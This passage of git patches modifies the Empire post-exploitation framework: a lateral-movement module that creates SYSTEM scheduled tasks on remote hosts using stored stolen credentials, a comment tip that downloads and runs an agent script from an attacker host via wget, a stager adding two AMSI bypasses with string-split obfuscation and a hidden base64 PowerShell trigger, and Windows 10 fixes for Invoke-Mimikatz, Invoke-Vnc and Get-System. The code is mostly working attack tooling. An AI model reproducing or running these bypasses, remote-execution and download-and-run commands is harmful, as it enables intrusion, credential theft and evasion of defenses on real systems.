'Value' : '' + }, + 'UserName' : { + 'Description' : 'User name for user running the task (required if ComputerName is supplied)', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'Password for accessing other computer (required if ComputerName is supplied)', + 'Required' : False, + 'Value' : '' + }, + 'TimeZone' : { + 'Description' : 'The task will be scheduled at the GMT + this offset', + 'Required' : False, + 'Value' : '0' + }, + 'MinuteAdjustment' : { + 'Description' : 'The minute adjustment will be added to the time (can be used if the local and target clock mismatch)', + 'Required' : False, + 'Value' : '1' + }, + 'Command' : { + 'Description' : 'Optional command, if specified it will be executed instead of the Empire stager', + 'Required' : False, + 'Value' : '' + } + + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self, obfuscate=False, obfuscationCommand=""): + + listenerName = self.options['Listener']['Value'] + + # trigger options + taskName = self.options['TaskName']['Value'] + + # storage options + regPath = self.options['RegPath']['Value'] + + computerName = self.options['ComputerName']['Value'] + userName = self.options['UserName']['Value'] + password = self.options['Password']['Value'] + + # time adjustments + timeZone = self.options['TimeZone']['Value'] + minuteAdjustment = self.options['MinuteAdjustment']['Value'] + + command = self.options['Command']['Value'] + + statusMsg = "" + locationString = "" + + # Use a listener + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent='default', proxy='default', proxyCreds='default') + + encScript = launcher.split(" ")[-1] + statusMsg += "using listener " + listenerName + + + # otherwise store the script into the specified registry location + path = "\\".join(regPath.split("\\")[0:-1]) + name = regPath.split("\\")[-1] + + statusMsg += " stored in " + regPath + + script = "$RegPath = '"+regPath+"';" + script += "$parts = $RegPath.split('\\');" + script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" + script += "$name = $parts[-1];" + script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";" + + # note where the script is stored + locationString = "(gp "+path+" "+name+")."+name + + # built the command that will be triggered by the schtask + if command != '': + triggerCmd = command + else: + triggerCmd = "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String("+locationString+")))\\\"'" + + # sanity check to make sure we haven't exceeded the cmd.exe command length max + if len(triggerCmd) > 259: + print helpers.color("[!] Warning: trigger command exceeds the maximum of 259 characters.") + return "" + + runTime = datetime.datetime.today() + datetime.timedelta(hours = int(timeZone)) + datetime.timedelta(minutes = int(minuteAdjustment)) + nowTime = datetime.datetime.strftime(runTime , '%H:%M') + + schTaskCmd = "schtasks /Create /F /SC once"+ " /S " + computerName + " /U "+userName+" /P "+password + " /RU system /ST "+nowTime+" /TN "+taskName+" /TR "+triggerCmd+";" + script += schTaskCmd + statusMsg += " with "+taskName+" run at " + nowTime + " (Ensure this is the correct time on the target!)." + print "COMMAND : " + schTaskCmd + + script += "'Schtasks persistence established "+statusMsg+"'" + if obfuscate: + script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) + return script From bcfef818d86a26cb9119a8aaeca2c755b316c8af Mon Sep 17 00:00:00 2001 From: johan-lindahl Date: Sat, 16 Mar 2019 19:40:41 +0100 Subject: [PATCH 5/8] Bugfixes on module lateral_movement/invoke_schtask --- .../lateral_movement/invoke_schtask.py | 104 +++++++----------- 1 file changed, 42 insertions(+), 62 deletions(-) diff --git a/lib/modules/powershell/lateral_movement/invoke_schtask.py b/lib/modules/powershell/lateral_movement/invoke_schtask.py index 51228132b..1b0ca0d8a 100644 --- a/lib/modules/powershell/lateral_movement/invoke_schtask.py +++ b/lib/modules/powershell/lateral_movement/invoke_schtask.py @@ -1,5 +1,6 @@ import os import datetime +from lib.common import helpers class Module: @@ -25,7 +26,11 @@ def __init__(self, mainMenu, params=[]): 'MinLanguageVersion' : '2', 'Comments': [ - 'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1' + 'The module schedules a task to run once and immediately on the target host.', + 'IMPORTANT: The TimeZone may have to be adjusted if the target and the attacker are on different time zones!', + 'TIPS: If you want to spawn an Empire agent, this can be acomplished with something like', + 'set Command "powershell.exe -Command Set-ExecutionPolicy -ExecutionPolicy Unrestricted;mkdir c:\k; wget http://LHOST/emp-shell.ps1 -o C:\k\emp.ps1;C:\k\emp.ps1"', + 'This module is base upon work by @mattifestation, @harmj0y', ] } @@ -37,25 +42,20 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' - }, - 'Listener' : { - 'Description' : 'Listener to use.', - 'Required' : False, - 'Value' : '' - }, + }, 'TaskName' : { 'Description' : 'Name to use for the schtask.', 'Required' : True, 'Value' : 'Updater' }, - 'RegPath' : { - 'Description' : 'Registry location to store the script code. Last element is the key name.', + 'CredID' : { + 'Description' : 'CredID from the store to use.', 'Required' : False, - 'Value' : 'HKCU:\Software\Microsoft\Windows\CurrentVersion\debug' + 'Value' : '' }, 'ComputerName' : { 'Description' : 'Computer name (if not supplied, localhost will be used)', - 'Required' : False, + 'Required' : True, 'Value' : '' }, 'UserName' : { @@ -80,10 +80,9 @@ def __init__(self, mainMenu, params=[]): }, 'Command' : { 'Description' : 'Optional command, if specified it will be executed instead of the Empire stager', - 'Required' : False, + 'Required' : True, 'Value' : '' } - } # save off a copy of the mainMenu object to access external functionality @@ -98,19 +97,36 @@ def __init__(self, mainMenu, params=[]): def generate(self, obfuscate=False, obfuscationCommand=""): - - listenerName = self.options['Listener']['Value'] - - # trigger options - taskName = self.options['TaskName']['Value'] - - # storage options - regPath = self.options['RegPath']['Value'] + + # if a credential ID is specified, try to parse + credID = self.options["CredID"]['Value'] + if credID != "": + + if not self.mainMenu.credentials.is_credential_valid(credID): + print helpers.color("[!] CredID is invalid!") + return "" + + (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] + + if domainName != "": + self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName) + else: + self.options["UserName"]['Value'] = str(userName) + if password != "": + self.options["Password"]['Value'] = password + + + # set credentials computerName = self.options['ComputerName']['Value'] userName = self.options['UserName']['Value'] password = self.options['Password']['Value'] + + # trigger options + taskName = self.options['TaskName']['Value'] + + # time adjustments timeZone = self.options['TimeZone']['Value'] minuteAdjustment = self.options['MinuteAdjustment']['Value'] @@ -118,57 +134,21 @@ def generate(self, obfuscate=False, obfuscationCommand=""): command = self.options['Command']['Value'] statusMsg = "" - locationString = "" - - # Use a listener - if not self.mainMenu.listeners.is_listener_valid(listenerName): - # not a valid listener, return nothing for the script - print helpers.color("[!] Invalid listener: " + listenerName) - return "" - - else: - # generate the PowerShell one-liner with all of the proper options set - launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent='default', proxy='default', proxyCreds='default') - - encScript = launcher.split(" ")[-1] - statusMsg += "using listener " + listenerName - - - # otherwise store the script into the specified registry location - path = "\\".join(regPath.split("\\")[0:-1]) - name = regPath.split("\\")[-1] - - statusMsg += " stored in " + regPath - - script = "$RegPath = '"+regPath+"';" - script += "$parts = $RegPath.split('\\');" - script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" - script += "$name = $parts[-1];" - script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";" - - # note where the script is stored - locationString = "(gp "+path+" "+name+")."+name - - # built the command that will be triggered by the schtask - if command != '': - triggerCmd = command - else: - triggerCmd = "'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -c \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String("+locationString+")))\\\"'" # sanity check to make sure we haven't exceeded the cmd.exe command length max - if len(triggerCmd) > 259: + if len(command) > 259: print helpers.color("[!] Warning: trigger command exceeds the maximum of 259 characters.") return "" runTime = datetime.datetime.today() + datetime.timedelta(hours = int(timeZone)) + datetime.timedelta(minutes = int(minuteAdjustment)) nowTime = datetime.datetime.strftime(runTime , '%H:%M') - schTaskCmd = "schtasks /Create /F /SC once"+ " /S " + computerName + " /U "+userName+" /P "+password + " /RU system /ST "+nowTime+" /TN "+taskName+" /TR "+triggerCmd+";" - script += schTaskCmd + script = "schtasks /Create /F /SC once"+ " /S " + computerName + " /U "+userName+" /P "+password + " /RU system /ST "+nowTime+" /TN "+taskName+" /TR "+command+";" statusMsg += " with "+taskName+" run at " + nowTime + " (Ensure this is the correct time on the target!)." - print "COMMAND : " + schTaskCmd + print "COMMAND : " + script + print statusMsg - script += "'Schtasks persistence established "+statusMsg+"'" if obfuscate: script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand) + return script From f244f26927f672014f8e840936b605d7156a45a4 Mon Sep 17 00:00:00 2001 From: johan-lindahl Date: Thu, 28 Mar 2019 14:09:22 +0100 Subject: [PATCH 6/8] Agent dies after check-in via redirector #1158 --- data/agent/stagers/http.ps1 | 5 +++-- lib/listeners/redirector.py | 39 +++++++++++++++++++++++++++++++++---- 2 files changed, 38 insertions(+), 6 deletions(-) diff --git a/data/agent/stagers/http.ps1 b/data/agent/stagers/http.ps1 index 94bce965e..147ad5949 100644 --- a/data/agent/stagers/http.ps1 +++ b/data/agent/stagers/http.ps1 @@ -1,5 +1,5 @@ function Start-Negotiate { - param($s,$SK,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko') + param($s,$SK,$UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',$hop) function ConvertTo-RC4ByteStream { Param ($RCK, $In) @@ -222,6 +222,7 @@ function Start-Negotiate { } } $wc.Headers.Add("User-Agent",$UA); + $wc.Headers.Add("Hop-Name",$hop); # step 5 of negotiation -> client posts nonce+sysinfo and requests agent $raw=$wc.UploadData($s+"/index.php","POST",$rc4p2); @@ -239,4 +240,4 @@ function Start-Negotiate { Invoke-Agent -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy; } # $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners -Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u; +Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u -hop "$hop"; diff --git a/lib/listeners/redirector.py b/lib/listeners/redirector.py index 794b24568..6e7d2e724 100644 --- a/lib/listeners/redirector.py +++ b/lib/listeners/redirector.py @@ -113,7 +113,37 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': - stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") + # + # Disable Antimalware Scan Interface + # + stager = '$Win32 = @"\n' + stager += 'using System;\n' + stager += 'using System.Runtime.InteropServices;\n' + + stager += 'public class Win32 {\n' + + stager += ' [DllImport("kernel32")]\n' + stager += ' public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);\n' + + stager += ' [DllImport("kernel32")]\n' + stager += ' public static extern IntPtr LoadLibrary(string name);\n' + + stager += ' [DllImport("kernel32")]\n' + stager += ' public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);\n' + + stager += '}\n' + stager += '"@\n' + + stager += 'Add-Type $Win32;\n' + + stager += '$LoadLibrary = [Win32]::LoadLibrary("amsi.dll");\n' + stager += '$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer");\n' + stager += '$p = 0;\n' + stager += '[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p);\n' + stager += '$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3);\n' + stager += '[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6);\n' + + stager += helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization("$GPS=[ref].Assembly.GetType(") @@ -132,9 +162,9 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") - stager += "'System.Management.Automation.AmsiUtils'" + stager += "'System.Management.Automation.Am' + 'siUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') - stager += "'amsiInitFailed','NonPublic,Static'" + stager += "'am' + 'siInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") @@ -204,7 +234,8 @@ def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) - stager += "$ser='%s';$t='%s';" % (host, stage0) + stager += "$ser='%s';$t='%s';$hop='%s';" % (host, stage0, listenerName) + #Add custom headers if any if customHeaders != []: for header in customHeaders: From 2ba94e6f8a7b2557c1748ad84f0737cbeb628537 Mon Sep 17 00:00:00 2001 From: johan-lindahl Date: Fri, 29 Mar 2019 18:38:52 +0100 Subject: [PATCH 7/8] Mimikatz command does not require admin privilege --- lib/modules/powershell/credentials/mimikatz/command.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/modules/powershell/credentials/mimikatz/command.py b/lib/modules/powershell/credentials/mimikatz/command.py index c5d8ab1ae..b09fe8202 100644 --- a/lib/modules/powershell/credentials/mimikatz/command.py +++ b/lib/modules/powershell/credentials/mimikatz/command.py @@ -16,7 +16,7 @@ def __init__(self, mainMenu, params=[]): 'OutputExtension' : None, - 'NeedsAdmin' : True, + 'NeedsAdmin' : False, 'OpsecSafe' : True, From 4a1bba26574030ebb3533910854768cec209fd2a Mon Sep 17 00:00:00 2001 From: johan-lindahl Date: Fri, 29 Mar 2019 19:06:23 +0100 Subject: [PATCH 8/8] Fix for Win 10.0.17134 - WARNING : May break older versions --- data/module_source/credentials/Invoke-Mimikatz.ps1 | 3 ++- data/module_source/management/Invoke-Vnc.ps1 | 4 +++- data/module_source/privesc/Get-System.ps1 | 8 ++++---- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/data/module_source/credentials/Invoke-Mimikatz.ps1 b/data/module_source/credentials/Invoke-Mimikatz.ps1 index 7c4dc6598..2dadb7c4a 100644 --- a/data/module_source/credentials/Invoke-Mimikatz.ps1 +++ b/data/module_source/credentials/Invoke-Mimikatz.ps1 @@ -883,7 +883,8 @@ $RemoteScriptBlock = { $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])) + # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr diff --git a/data/module_source/management/Invoke-Vnc.ps1 b/data/module_source/management/Invoke-Vnc.ps1 index 97b920d4d..c30bc62aa 100644 --- a/data/module_source/management/Invoke-Vnc.ps1 +++ b/data/module_source/management/Invoke-Vnc.ps1 @@ -872,7 +872,9 @@ $RemoteScriptBlock = { $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Broken Win10 : $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null); + # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr diff --git a/data/module_source/privesc/Get-System.ps1 b/data/module_source/privesc/Get-System.ps1 index 17f5c4170..a2b5e9978 100644 --- a/data/module_source/privesc/Get-System.ps1 +++ b/data/module_source/privesc/Get-System.ps1 @@ -128,8 +128,8 @@ function Get-System { Write-Output $TypeBuilder.CreateType() } - # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html - function Local:Get-ProcAddress + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress { Param ( @@ -150,12 +150,12 @@ function Get-System { $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])) # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - + # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) }